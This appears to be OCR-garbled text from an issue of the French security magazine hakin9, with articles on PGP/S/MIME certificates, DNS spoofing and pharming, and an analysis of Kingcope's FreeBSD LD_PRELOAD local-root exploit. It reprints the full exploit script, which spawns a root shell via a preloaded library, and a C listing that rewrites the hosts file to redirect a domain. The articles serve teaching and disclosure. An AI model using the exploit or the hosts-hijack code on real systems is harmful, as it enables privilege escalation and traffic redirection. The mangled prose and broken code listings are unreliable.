bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

